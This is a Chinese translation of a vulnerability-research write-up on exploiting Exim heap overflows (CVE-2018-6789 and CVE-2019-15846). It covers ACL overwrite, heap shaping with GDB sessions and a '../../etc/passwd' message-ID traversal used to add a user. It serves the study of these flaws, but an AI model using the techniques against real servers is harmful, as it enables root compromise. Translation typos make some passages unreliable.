【二进制分析】利用邮件传输代理漏洞到RCE的攻击方法
2023-3-29 09:12:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

文章分类:二进制漏洞利用分析

翻译来源:Scraps of Notes on Exploiting Exim Vulnerabilities (synacktiv.com)

最近,Qualys公司发布了一份关于EXIM MTA的严重漏洞:CVE-2019-15846。在他们的漏洞利用中,他们可以用PoC授权root权限。之后出现了类似危言耸听的文章,声称会有百万的EXIM邮件传输代理服务会遭受攻击。

Exim是基于GPL协议的开放源代码软件,由英国剑桥大学的Philip Hazel开发,目前最新版4.24。Exim是一个MTA(Message Transfer Agent),即消息传输代理,负责邮件的路由、转发和投递。Exim被作者设计成可运行于绝大多数的类Unix系统上,包括 Solaris,AIX,Linux等。

Exim有许多功能,包括发送地址重写、IPV6支持、TLS/SSL支持、正则表达式(PCRE)、列表与匹配、系统级过滤器(system wide filter),SMTP批处理。

在2018年,我们团队从Exim Off-by-one RCE: Exploiting CVE-2018-6789 with Fully Mitigations Bypassing | DEVCORE学习了另一个关于EXIM的漏洞CVE2018-6789,开发了一个PoC,但并未发布公开。所以,我们决定再一次开发PoC,为此次漏洞。在这篇文章中,我们从攻击视角来呈现了Exim的全貌以及相关概述。我们将会展示这两个漏洞在PoC中的利用方法。

1、EXIM 如何执行的流程

在Exim邮件传输代理中有三个主要步骤:

  • 守护进程deamon坚挺入口的SMTP连接。然后守护进程会为每一个新的SMTP建立一个新的接收进程。守护进程通常可以使用 -q 选项来开启,在这种情况下,每个指定的时间然后运行一个队列中的进程。(比如 -q 30 表示每隔30分钟开启一个队列运行进程。)
  • 接收会接收一个入口消息,并存储在spool目录下(/var/spool/exim/input)。一个小溪由两个选项构成:-H (消息信封)和-D(消息体)。除非有其他要求,一般情况下接收进程会通过生成新进程来启动交付消息。如果选项 queue_only 是开启的,那么消息会被放在spool目录,而不会尝试自动发送传递它。
  • 队列运行进程开始遍历spool目录下的发送消息文件,然后为每个消息文件启动一个传递发送进程。
  • 传递发送进程一般执行远程或本地交付,这个过程中会以root的权限运行,这会使它成为一个有趣的攻击目标。

2、关于 EXIM 池的分配器

Exim保留了几个分配池。只要进程存在,POOL_PERM 就会被分配,包括存储了配置项和ACL控制。POOL_MAIN 属于动态分配,所以可以被释放。最后,还包含一个 POOL_SEARCH,专门用于查询存储内容。

一个Pool传输代理池就是一个链表(如下),它们可以被动态分配。最小的存储大小storeblock是0x2000。当Exim请求一定的内存需要时,它就会检查在当前block块中是否有足够的内存空间能够填充请求的大小。无论当前block块还剩下多少空间,即使不够也会分配新的 storeblock存储块。

Exim 传输池的管理是由 stroe_in.c 定义的:

  • store_malloc and store_free:malloc和free的包装库。
  • store_get:返回当前存储块 storeblock的指针,如何在分配空间中还有足够大小的话,那么一个新的存储空间会被分配到这个指针中。
  • store_reset:设置 yield 指针指向存储指针重置点,并且释放后续的存储空间。在后面我们可以看到,这个函数在攻击过程中是多么的有用。
  • store_release:该函数充当再分配函数功能。
  • store_extend:如果处于分配空间中的数据需要扩展,那么这个函数会起作用,可以避免再分配和复制等繁琐工作。

3、基于堆的EXIM溢出漏洞

假设,在EXIM中包含一个基于堆的溢出漏洞,可以根据 @mehqq_'s blogpost 的文章中的技术来获得代码执行。

ACLs访问控制列表

ACLs是一个在配置文件中定义的访问控制列表,通常被是用来控制Exim接受一些SMTP协议的行为。可以根据 acl_smtp_mail 选项来定义每次接收MAIL_FROM 命令的具体的过滤行为。当Exim收到${run{cmd}} 命令时,可以对选项进行扩展和定义。

ACLs控制列表是通过一个全局指针来定义的,指针的数据从POOL_PERM中加载到storelock中。覆盖ACls命令会导致代码执行漏洞。

从堆溢出漏洞到UAF

现在的目的是覆盖一个已经分配存储空间的下一个指针,然后指向包含ACL的存储空间中。如果之后 storeblock链可以被重置(通过发送一个新的 HELO命令),那么包含ACL的存储空间会被释放,然后我们可以发送新的命令获取它。

这个场景需要5个阶段:

1.整形heap堆,以便于我们可以获取两处连续的存储空间 storeblock,存储空间(从有漏洞的那个)到目标存储空间storeblock

2.从新释放的数据块中溢出,并且打断已经分配存储空间storeblock 的下一个指针,以便于可以将指针指向包含ACL的存储空间storeblock。请记住,这需要合适的爆破操作,因为存储空间(劫持的storeblock块和ACL 存储空间块)都位于heap堆中。

3.通过发送HELO命令来释放包含ACLs的存储块storeblock:整个分配空间链都会被释放。

4.他哦难过发送多个AUTH命令获取返回的ACL分配空间storeblock,覆写acl_smtp_mail内容。

5.最后通过发送MAIL_FROM命令触发代码执行漏洞。

4、CVE-2018-6789漏洞利用

漏洞出现在base64.c文件的b64decode函数中。其中base64解码函数错误的计算了存储解码数据缓冲区的长度,导致一个基于堆的溢出漏洞。这里可以使用经典的技术来覆写这块数据块,并需要通过扩展大小( classic techniques损坏数据块chunk区域大小)。

在这一篇文章中详细的介绍了如何攻击的方法,通过在这篇文章中编写了PoC@mehqq_,所以我们不会详细的陈述所有的步骤。

我们会介绍关于Exim的特性,这影响到如何使用和塑造heap堆结构。我们的目标是在数据块size大小损坏之前,到达下面的堆形态。

  • 通过发送未定义命令和HELO命令两次来创建工作空间。此时,在错误报告的时候,为识别到的命令会触发存储空间分配,而HELO命令会重置之前分配的存储空间storeblock链。注意,Exim限制了未知命令的数量为3个。
  • 顶部的chunk块正在使用AUTH命令。

一旦上面的状态到达,我们就会通过发送AUTH CRAM-MD5 命令来扩大位于工作区域的空间chunk块的大小触发溢出漏洞。然后,我们强制中间的chunk块释放,方法是发送一个HELO命令,后面分一个无效的名称(HELO a+),可以恢复整个存储区域storeblock。这样就允许提前终端HELO命令处理代码,避免调用smtp_reset

最后,我们发送 AUTH命令,比先前释放的chunk数据块更大,顶部的chunk是重叠的。

从这里,可以按照上面的3-5的步骤来实施攻击,exp攻击代码放在Github

5、CVE-2019-15846 漏洞利用

Exim 在4.92.1版本之前,容易受到基于堆的溢出漏洞攻击,在CVE-2019-15846种有Qualys分析,披露于2019-9-6。

漏洞代码位于调用string_unprinting 时的string_interpret_escape中,并且修复记录可以在commit中查看到详细信息。

diff --git a/src/src/string.c b/src/src/string.c
index 5e48b445c..c6549bf93 100644
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -224,6 +224,8 @@ interpreted in strings.
 Arguments:
   pp       points a pointer to the initiating "\" in the string;
            the pointer gets updated to point to the final character
+           If the backslash is the last character in the string, it
+           is not interpreted.
 Returns:   the value of the character escape
 */

@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789abcdef";
 int ch;
 const uschar *p = *pp;
 ch = *(++p);
+if (ch == '\0') return **pp;
 if (isdigit(ch) && ch != '8' && ch != '9')
   {
   ch -= '0';

顾名思义,string_interpret_escape 的目的是转义字符序列。例如,\62会被转义成b

string_unprinting 使用了这个函数,目的是转义输入字符转换非转义字符。首先使用Exim内存空间分配器分配第一个输出字符。

len = Ustrlen(s) + 1;
ss = store_get(len);

漏洞存储在 string_unprinting 读取输入字符串时,直到读到了一个NULL字节。此时调用string_interpret_escaped时,它的指针也再次向前移动,随之 string_unprinting 也再次移动。然后,它会跳过反斜杠的字符,然后复制的结果会突破输出缓冲区的限制。

while (*p)
  {
  if (*p == '\\')
    {
    *q++ = string_interpret_escape((const uschar **)&p);
    p++;
    }
 [...]
 }

这张图阐述了基于堆的溢出:

注意,此时NULL字节也会被复制到缓冲区中,计时她并没有停止处理输入缓冲区。

为了利用这个漏洞,这两个缓冲区(输入和输出区)的数据必须对齐,目的是确保除了输入缓冲区的NULL字节以外,中间没有其他NULL字节。跟准确的说,需要store_get中的数据对齐到1个storeblock存储空间中的8字节大小的边界上。

最后,需要两个缓冲区属于同一个存储块sotreblock,目的是溢出边界上的字节。根据调用 string_unprinting时堆的形状,输入缓冲区的大小可能非常有限。

然而结果是,可以被覆写的数据是没有限制的。read指针会读取写入的所有数据。为了避免在原来的NULL空字节的地方停止,可以在前面加入更多的反斜杠,结果可以达到输出到缓冲区的任何地址。

此外还可以通过 \x00编码空字节NULL来覆写他们。

漏洞利用

为了利用该漏洞,Qualys公司声称他们使用了后面地带有反斜杠的特制的SNI。SNI处于Exim假脱机文件中,这个文件是由Exim接收进程写入,由发送进程读取。当Exim发送进程读取到假脱机文件中的spool_read_header时,它会调用漏洞函数 string_unprinting

每一个Exim 邮件代理传输的进程都包含一个ID属性,这个ID属性常常被用在假脱机文件的文件名,日志文件名中等等。

Qualys声称他们可以攻击基于堆的溢出漏洞,覆写用于创建日志文件名的message ID。日志文件是由发送人的地址填充的。通过覆写消息的ID,类似使用../../../../../../etc/passwd,就可以实现添加一个新用户到目标系统中。

我们团队开始对漏洞函数的攻击路径进行更为深入的分析,像前面分析的,使用到了Exim中spool头文件解析。头文件存储在/var/spool/exim4/input/。每一个接收邮件都会生成两个假脱机文件,每一个都在message Id之后进行命名,第一个消息体使用-D来添加。第二个使用-H来添加各种各样的SNI元数据。spool_read_header

spool_read_header 函数会多次调用。唯一存在漏洞的路径是当调用 deliver_message时。这个路径既可以在exim -Mc,也可以在exim -q之后使用到。第一个对应于接收时的直接消息传递,第二个对应于队列运行进程调用后台任务时。

为了攻击这个漏洞,我们把目标定在了队列运行进程。因为在这个进程中,exim -q时,message ID存储在一个堆中,当发送程序使用exim -Mc ,message存储在栈中。

问题是,这两个晋城市Exim守护进程的fork和exec,除了读取spool假脱机文件以外没有任何交互,所以比利用CVE-2018-6789更难。

PoC漏洞开发

为了复现这个漏洞,需要安装一个老版本的debian 9,就像在发布修复版本之前在快照库中保存的那样。

[email protected]:~# cat /etc/apt/sources.list
deb     http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main
deb-src http://snapshot.debian.org/archive/debian/20190801T025637Z/ stretch main

注意自从2017年,GNUTLS添加了新的SNI值检查。那就是说,当Exim连接到GUNTLS的版本大于3.6.0时,漏洞不再可被利用。

为了简单的测试一下漏洞,需要创建两个文件,手动运行Exim的队列。

cp 1i7Jgy-0002dD-Pb-D /var/spool/exim4/1i7Jgy-0002dD-Pb-D
cp 1i7Jgy-0002dD-Pb-H /var/spool/exim4/1i7Jgy-0002dD-Pb-H
/usr/sbin/exim4 -q

然后,在 string_unprinting 下入断点,可能使得:

  • 确保能够出发溢出缓冲区
  • 在堆溢出时的形态
  • 查找堆中的message ID
gdb --args /usr/sbin/exim4 -q
gef  set follow-fork-mode child
gef  b string_unprinting
Breakpoint 1 at 0x5600d5924540: file string.c, line 355.
gef  r
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x562b1a097790 "abcdef\\") at string.c:355
gef  n
[... step until interesting stuff ...]
gef  p s
$1 = (uschar *) 0x562b1a097790 "abcdef\\"
gef  p len
$2 = 0x8
gef  p ss
$4 = (uschar *) 0x562b1a097798 ""
gef  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x562b1a0975e0, size=0x2020, flags=PREV_INUSE)
    [0x0000562b1a0975e0     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x562b1a099600, size=0x1010, flags=PREV_INUSE)
    [0x0000562b1a099600     31 69 37 4a 67 79 2d 30 30 30 32 64 44 2d 50 62    1i7Jgy-0002dD-Pb]
Chunk(addr=0x562b1a09a610, size=0x1fa00, flags=PREV_INUSE)    top chunk

输入和输出缓冲都在0x2020字节的chunk中。后面的chunk(0x1010)在当读取头文件时开始被分配。没有明显可被用于代码执行的地方。 fgets

现在我们可以查找message ID:

gef  grep 1i7Jgy-0002dD-Pb
[+] Searching '1i7Jgy-0002dD-Pb' in memory
[+] In (0x562b1a009000-0x562b1a00d000), permission=rw-
  0x562b1a00abb1 - 0x562b1a00abd6     "1i7Jgy-0002dD-Pb (queue run pid 2860)" 
  0x562b1a00ae92 - 0x562b1a00aea2     "1i7Jgy-0002dD-Pb" 
[+] In '[heap]'(0x562b1a05a000-0x562b1a0ba000), permission=rw-
  0x562b1a097609 - 0x562b1a097619     "1i7Jgy-0002dD-Pb" 
  0x562b1a097641 - 0x562b1a097653     "1i7Jgy-0002dD-Pb-H" 
  0x562b1a097663 - 0x562b1a097688     "1i7Jgy-0002dD-Pb (queue run pid 2860)" 
  0x562b1a0976a9 - 0x562b1a0976bb     "1i7Jgy-0002dD-Pb-D" 
  0x562b1a0976c0 - 0x562b1a0976d2     "1i7Jgy-0002dD-Pb-H" 
  0x562b1a0976f1 - 0x562b1a097703     "1i7Jgy-0002dD-Pb-H" 
  0x562b1a099600 - 0x562b1a099637     "1i7Jgy-0002dD-Pb-H\nDebian-exim 103 114\n<redacted[...]" 
  0x562b1a099c16 - 0x562b1a099c4d     "1i7Jgy-0002dD-Pb\n\tfor [email protected]; Mon[...]" 
  0x562b1a099c8d - 0x562b1a099cc4     "[email protected]>\n022F From: [email protected][...]" 
[+] In '[stack]'(0x7fff8da2e000-0x7fff8dab0000), permission=rw-
  0x7fff8da65ae9 - 0x7fff8da65afb     "1i7Jgy-0002dD-Pb-H" 
  0x7fff8da65bb0 - 0x7fff8da65bc2     "1i7Jgy-0002dD-Pb-H" 
  0x7fff8da65eb9 - 0x7fff8da65ecb     "1i7Jgy-0002dD-Pb-H"

此时,唯一可用于覆写文件的消息ID在堆中,但在输出缓冲区溢出时,不能到达。

最后,发现了确保溢出正常执行。

gef  fin
Run till exit from #0  string_unprinting (s=0x5600d6a60790 "abcdef\\") at string.c:366
gef  x/16bx 0x5600d6a60798
0x5600d6a60798: 0x61    0x62    0x63    0x64    0x65    0x66    0x00    0x61
0x5600d6a607a0: 0x62    0x63    0x64    0x65    0x66    0x00    0x00    0x00

我们可以看到输入的8字符被复制了2次。

形成堆的利用地址

为了找到可行的利用方法,需要在队列运行器到达漏洞时堆的详细状态分析。主要的想法是整形堆的形状以便于输入缓冲区和输出缓冲区都被分配在先前的释放的chunk中,实现攻击。目的是在缓冲区溢出时,可以到达message ID。要这样做,释放的chunk块STORE_BLOCK_SIZE最小分配空间值是0x2000字节。

big_buffer 是用于存储临时的假脱机文件的缓冲区,是一个很好的目标。如果碰上它被重新分配的话,那么堆中的相当一个大的chunk块将被释放。但不碰巧,我们没有遇上,因为在exim的处理再分配的机制中不会释放旧的文件。big_buffer

while (  (len = Ustrlen(big_buffer)) == big_buffer_size-1
    && big_buffer[len-1] != '\n'
    )
    {   /* buffer not big enough for line; certs make this possible */
    uschar * buf;
    if (big_buffer_size >= BIG_BUFFER_SIZE*4) goto SPOOL_READ_ERROR;
    buf = store_get_perm(big_buffer_size *= 2);
    memcpy(buf, big_buffer, --len);
    big_buffer = buf;
    if (Ufgets(big_buffer+len, big_buffer_size-len, f) == NULL)
      goto SPOOL_READ_ERROR;
    }

当队列运行进程遍历spool文件时,会分配一个大小为0x8030的chunk内部缓冲区,当释放的时候就会调用。queue_get_spool_lis

因此,如果能够确保有足够的文件能够强制分配,那么就可以在堆中创建一个gap。storeblock/var/spool/exim4/input/

仍然可以找到剩余的空间大小。current_block[0] yield_length[0]

gef  b opendir
Breakpoint 1 at 0x55b87b85e468
gef  c
Continuing.
Breakpoint 1, 0x00007f81aebc49a0 in opendir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef  p yield_length[0]
$1 = 0x1ff0

需要至少创建250个spool脱机文件,就能够足够确保测试场景中创建我们的gap。间隔之后的数据会恰好是用于创建日志文件的message ID。

gef  b closedir
Breakpoint 1 at 0x55dcb4d13898
gef  c
Continuing.
Breakpoint 1, 0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef  fin
Run till exit from #0  0x00007fb8affcc9f0 in closedir () from target:/lib/x86_64-linux-gnu/libc.so.6
gef  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55dcb6d6d5e0, size=0x2020, flags=PREV_INUSE)
    [0x000055dcb6d6d5e0     40 76 d7 b6 dc 55 00 00 00 20 00 00 00 00 00 00    @v...U... ......]
Chunk(addr=0x55dcb6d6f600, size=0x8040, flags=PREV_INUSE)
    [0x000055dcb6d6f600     58 2b 2b b0 b8 7f 00 00 58 2b 2b b0 b8 7f 00 00    X++.....X++.....]
Chunk(addr=0x55dcb6d77640, size=0x2020, flags=)
    [0x000055dcb6d77640     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x55dcb6d79660, size=0x1e9b0, flags=PREV_INUSE)    top chunk

为了完成攻击漏洞,需要确保SNI分配gap,需要我们填充一些东西,以便再分配SNI时可以得到一个新的存储空间。current_block[0]

断入并计算剩余空间。string_unprinting current_block[0]

gef  b string_unprinting
Breakpoint 1 at 0x55d401799540: file string.c, line 355.
gef  c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 3, string_unprinting (s=0x55d4039d6990 'a' <repeats 3194 times>, "\\") at string.c:355
gef  p yield_length[0]
$1 = 0x1e68

同时在SNI之前做了一些新的分配,最有趣的是 helo_name

int
spool_read_header(uschar *name, BOOL read_headers, BOOL subdir_set)
{
[... skip uninteresting lines ...]
    else if (Ustrncmp(p, "elo_name", 8) == 0)
      sender_helo_name = string_copy(big_buffer + 11);

填充数据现在变得很容易,但是要么新分配空间的数据需要有足够的空间存储输入SNI和输出SNI,要么没有空间存储任何一个。因此可以选择一个大大大大于默认大小的空间,很好的解决办法是:current_block[0] helo_name存储块。helo_name

注意,队列运行进程会根据目标ID分配多个小的花冲去,这些缓冲区都放在 helo_name之前。

/* Check that the message still exists */

message_subdir[0] = f->dir_uschar;
if (Ustat(spool_fname(US"input", message_subdir, f->text, US""), &statbuf) < 0)
  continue;

目标是获得像下面这样的样子:

下面是必须了解的总结:helo_name

  • current_block[0]剩余空间更大
  • 小于gap减去两个SNI的大小
  • 存储块是满的,包含应该为了确保两个SNI都包含helo_name相连
  • 确保SNI是连续的,在chunk的顶部,以便于溢出不会覆写其他的数据
  • 小于0x4000字节,由于big_buffer 分配的错误存在。

注意利用漏洞必须对覆写块中的message ID有效。是因为每次循环过程都会改变堆,所以知道何时发送重写的ID很重要,如果没有设置,会以伪随机的方式列出假脱机文件。然后,覆写的ID要么出现在第一个,要么出现在最后一个。queue_run queue_get_spool_lis tqueue_run_in_order

/* Handle the creation of a randomized list. The first item becomes both
the top and bottom of the list. Subsequent items are inserted either at
the top or the bottom, randomly. This is, I argue, faster than doing a
sort by allocating a random number to each item, and it also saves having
to store the number with each item. */

选择正确的长度会得到下面堆的形状:helo_name

gef  b closedir
Breakpoint 1 at 0x556862b9b898
gef  commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set $ID = ((char *)current_block[0]) + 0x19
>c
>end
gef  b queue.c:645 if (int)strcmp(f->text, $ID) == 0
Breakpoint 2 at 0x564f9a43418a: file queue.c, line 647.
gef  commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>set follow-fork-mode child
>b string_unprinting
>c
>end
gef  c
Continuing.
Thread 2.1 "exim4" hit Breakpoint 1, string_unprinting (s=0x558589a70660 "abcdef\\") at string.c:355
gef  heap chunks
[... skip uninteresting chunks ...]
Chunk(addr=0x55ee971d75e0, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971d75e0     40 16 1e 97 ee 55 00 00 00 20 00 00 00 00 00 00    @....U... ......]
Chunk(addr=0x55ee971d9600, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971d9600     30 c6 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00    0....U... ......]
Chunk(addr=0x55ee971db620, size=0x1010, flags=PREV_INUSE)
    [0x000055ee971db620     62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62    bbbbbbbbbbbbbbbb]
Chunk(addr=0x55ee971dc630, size=0x2ff0, flags=PREV_INUSE)
    [0x000055ee971dc630     20 f6 1d 97 ee 55 00 00 d8 2f 00 00 00 00 00 00     ....U.../......]
Chunk(addr=0x55ee971df620, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971df620     00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00    ......... ......]
Chunk(addr=0x55ee971e1640, size=0x2020, flags=PREV_INUSE)
    [0x000055ee971e1640     00 96 1d 97 ee 55 00 00 00 20 00 00 00 00 00 00    .....U... ......]
Chunk(addr=0x55ee971e3660, size=0x1e9b0, flags=PREV_INUSE)    top chunk
gef p current_block[0]
$1 = (storeblock *) 0x55ee971df620
gef  x/s 0x55ee971e1640 + 0x19
0x55ee971e1659: "16aJgy-baaaad-Pb"

最后,SNI必须计算填充剩余空闲chunk以及覆写message ID。所有的过程可以在这里给出exgen.py.。

糟糕的是,覆写message ID时也会覆写对应的消息头。因此会破坏它。为了能够百分百利用,这个问题也需要解决存储块和存储重置。store_reset

成功利用时,Exim邮件传输代理会写入以目标ID命名的日志文件。

/* Open the message log file if we are using them. This records details of
deliveries, deferments, and failures for the benefit of the mail administrator.
The log is not used by Exim itself to track the progress of a message; that is
done by rewriting the header spool file. */

if (message_logs)
  {
  uschar * fname = spool_fname(US"msglog", message_subdir, id, US"");
  uschar * error;
  int fd;

  if ((fd = open_msglog_file(fname, SPOOL_MODE, &error)) < 0)
    {
    log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't %s message log %s: %s", error,
      fname, strerror(errno));
    return continue_closedown();   /* yields DELIVER_NOT_ATTEMPTED */
    }

  /* Make a C stream out of it. */

  if (!(message_log = fdopen(fd, "a")))
    {
    log_write(0, LOG_MAIN|LOG_PANIC, "Couldn't fdopen message log %s: %s",
      fname, strerror(errno));
    return continue_closedown();   /* yields DELIVER_NOT_ATTEMPTED */
    }
  }

当messa被成功发送给日志时,日志文件会被写入到目的地址中区。

if (!addr->parent)
    deliver_msglog("%s %s: %s%s succeeded\n", now, addr->address,
      driver_name, driver_kind);
  else
    {
    deliver_msglog("%s %s <%s>: %s%s succeeded\n", now, addr->address,
      addr->parent->address, driver_name, driver_kind);
    child_done(addr, now);
    }

这里就可以伪造一个行有效的密码,从而获得对主机的访问。 /etc/passwd

最后,Exim邮件传输代理不会链接和重命名日志文件,因为邮件已经被发送给所有的收件人。

6、漏洞利用收尾

在这篇文章中,我们看到了需要成功利用堆溢出漏洞所需的Exim基础知识,我们也学会了如何利用两个漏洞。

此外,用于利用漏洞CVE-2018-6789的技术可以应用于利用刚披露CVE-2019-16928,该溢出漏洞是通过发送长命令触发的。文中有提到:HELO

如果你有不同的利用方法,欢迎分享,Exim的官网是:Exim Internet Mailer


文章来源: https://xz.aliyun.com/t/12361
如有侵权请联系:admin#unsafe.sh